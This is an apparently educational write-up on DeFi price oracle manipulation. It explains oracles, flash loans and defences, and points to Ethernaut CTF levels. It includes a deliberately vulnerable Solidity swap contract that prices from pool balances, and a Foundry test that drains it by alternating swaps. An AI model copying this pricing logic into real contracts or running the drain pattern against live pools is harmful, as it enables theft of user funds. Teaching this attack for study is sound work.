Oracles: Simple Introduction
Oracles
are external data providers
that bring off-chain data to on-chain smart contracts!!!!
DeFi protocols
with Liquidity Pools
are considered as oracles
-> Such as Uniswap, Sushiswap, etc.
- DeFi protocols,
who rely on the on-chain price of an asset
in order to function uses oracles
- any device that delivers the price of an asset (for example, ETH, USD, or BTC) to be considered an oracle.
Oracles and DeFi Protocols:
DeFi protocols need to liquidate a user’s loan
Decisisons are made based on data provided by oracles
Chainlink price feeds, Tellor and Uniswap(TWAP)
are some example of oracles
- On-chain protocols with
liquidity pools
are considered as oracles
- Protocols using
liquidity pools
as oracles are highly vulnerable to price oracle manipulation attacks
Price Oracle Manipulation Attacks
- Price oracle manipulation attacks happen when an oracle’s price feed is
artificially manipulated from an attacker
- This manipulation can dramatically
affect behavior within DeFi protocols
that rely on that oracle for their internal logic.
- These alterations can create arbitrage opportunities
Oracle manipulation attacks
occur when we manipulate the information the oracle is sending to the blockchain
, thereby impacting the action being executed on-chain to the benefit of the manipulator.
How does Price Oracle Manipulation Attacks Work?:
- Most oracle price manipulation attacks occur through the use of
Flash Loans
- Attackers can
exploit Flash Loans to alter the price of assets
in automated market makers such as Uniswap,
changing the spot price ratio
of a token before the lender smart contract has a chance to look up the token again.
Some important things to keep in mind:
How to prevent Price Oracle Manipulation Attacks?
- Choose the oracle carefully
- Which data feeds are being aggregated by the oracle?
- Is this data being fetched from centralized exchanges, decentralized ones, or both?
- Which statistical method is being used to aggregate this data into a single output?
- How does the oracle work out dispute mechanisms in case there’s discrepancies between the nodes?
- Have backup systems:
- Dual oracle system
[Chainlink price feeds + Uniswap TWAP]
- Use decentralized oracles over centralized ones:
- Common examples of decentralized oracles are:
Chainlink, API3, and Synthetix
Example contract and Attack work flow of Price Oracle Manipulation Attack
- Simple contract that swaps tokens (tokenA and tokenB)
- This contract uses
getSwapPrice()
to get the price of tokenA and tokenB
- Dex contract stores all funds(tokenA and tokenB)
contract Dex is Ownable {
/// @dev function swaps tokenA and tokenB
/// @param amountIn amount of 'from' token to swap
/// @param amountOut amount of 'to' token to swap
function swap(address from, address to, uint256 amountIn) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amountIn, "Not enough to swap");
uint256 swapAmount = getSwapPrice(from, to, amountIn); // this get the amountOut price
IERC20(from).transferFrom(msg.sender, address(this), amountIn); // transfer from user to contract
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount); // transfer from contract to user
}
/// @dev function returns the amountOut price for token
/// @param amountOut amount of 'to' token to swap
function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
}
- Below test will try to
swap tokens(tokenA and tokenB) alternatively using swap() function from Dex contract
to manipulate the price and drain all funds from Dex contract!!!!
- Target -> drain all tokenA from Dex contract
contract DexTest is Test{
function setUp() public {
/// @dev consider complete initial setup for Dex contract, tokenA, tokenB
/// @dev contract -> 100 tokenA and 100 tokenB
/// @dev attacker -> 10 tokenA and 10 tokenB
}
function test_CreatePriceManipulationAttack_usingDEX() public {
// Initial state
console.log("--- Initial State ---");
console.log("DEX token1 balance:", token1.balanceOf(address(dex)));
console.log("DEX token2 balance:", token2.balanceOf(address(dex)));
console.log("User token1 balance:", token1.balanceOf(user));
console.log("User token2 balance:", token2.balanceOf(user));
vm.startPrank(user);
// Round 1: Swap 10 token1 -> token2
uint256 swapAmount1 = dex.getSwapPrice(address(token1), address(token2), 10);
dex.swap(address(token1), address(token2), 10);
// Round 2: Swap all token2 back -> token1
uint256 userToken2Balance = token2.balanceOf(user);
uint256 swapAmount2 = dex.getSwapPrice(address(token2), address(token1), userToken2Balance);
dex.swap(address(token2), address(token1), userToken2Balance);
// Continue the attack pattern until we can drain all token1
uint256 round = 3;
while (token1.balanceOf(address(dex)) > 0 && round <= 10) {
if (round % 2 == 1) {
// Odd rounds: token1 -> token2
uint256 userToken1 = token1.balanceOf(user);
if (userToken1 > 0) {
uint256 swapAmount = dex.getSwapPrice(address(token1), address(token2), userToken1);
// Check if this would drain all token1
if (swapAmount >= token2.balanceOf(address(dex))) {
// Calculate exact amount needed to get all remaining token2
uint256 remainingToken2 = token2.balanceOf(address(dex));
uint256 exactAmount = (remainingToken2 * token1.balanceOf(address(dex))) / token2.balanceOf(address(dex));
dex.swap(address(token1), address(token2), exactAmount);
} else {
dex.swap(address(token1), address(token2), userToken1);
}
}
} else {
// Even rounds: token2 -> token1
uint256 userToken2 = token2.balanceOf(user);
if (userToken2 > 0) {
uint256 swapAmount = dex.getSwapPrice(address(token2), address(token1), userToken2);
// Check if this would drain all token1
if (swapAmount >= token1.balanceOf(address(dex))) {
// Calculate exact amount needed to get all remaining token1
uint256 remainingToken1 = token1.balanceOf(address(dex));
uint256 exactAmount = (remainingToken1 * token2.balanceOf(address(dex))) / token1.balanceOf(address(dex));
dex.swap(address(token2), address(token1), exactAmount);
break;
} else {
dex.swap(address(token2), address(token1), userToken2);
}
}
}
round++;
}
vm.stopPrank();
// Verify the attack was successful
assertEq(token1.balanceOf(address(dex)), 0, "All token1 should be drained from DEX");
assert(token1.balanceOf(user) > 10); // User should have more token1 than they started with
}
}
Standard Methods that leads to Price oracle manipulation attacks
- Swap based Price Manipulation:
DeFi protocols
that uses Uniswaps/DEX's
as their oracles for price feeds
- Attackers can alternatively swaps two tokens until they drain out large funds
- Swap large ETH for Token →
make Token look cheap
and as price fluctuates again they swap tokens for ETH
- Flashloan based Price Manipulation:
- Manipulating Oracles (LP):
- Some protocols use Uniswap LP as oracle
- But LP price = tokenA / tokenB is easily skewed
- If you can control LP state, you control the price
- Attacker swaps to inflate or deflate this price, and the protocol believes it.
Tryout this CTF challenges for better understanding about the attack!!!
- https://ethernaut.openzeppelin.com/level/22
- https://ethernaut.openzeppelin.com/level/23
case studies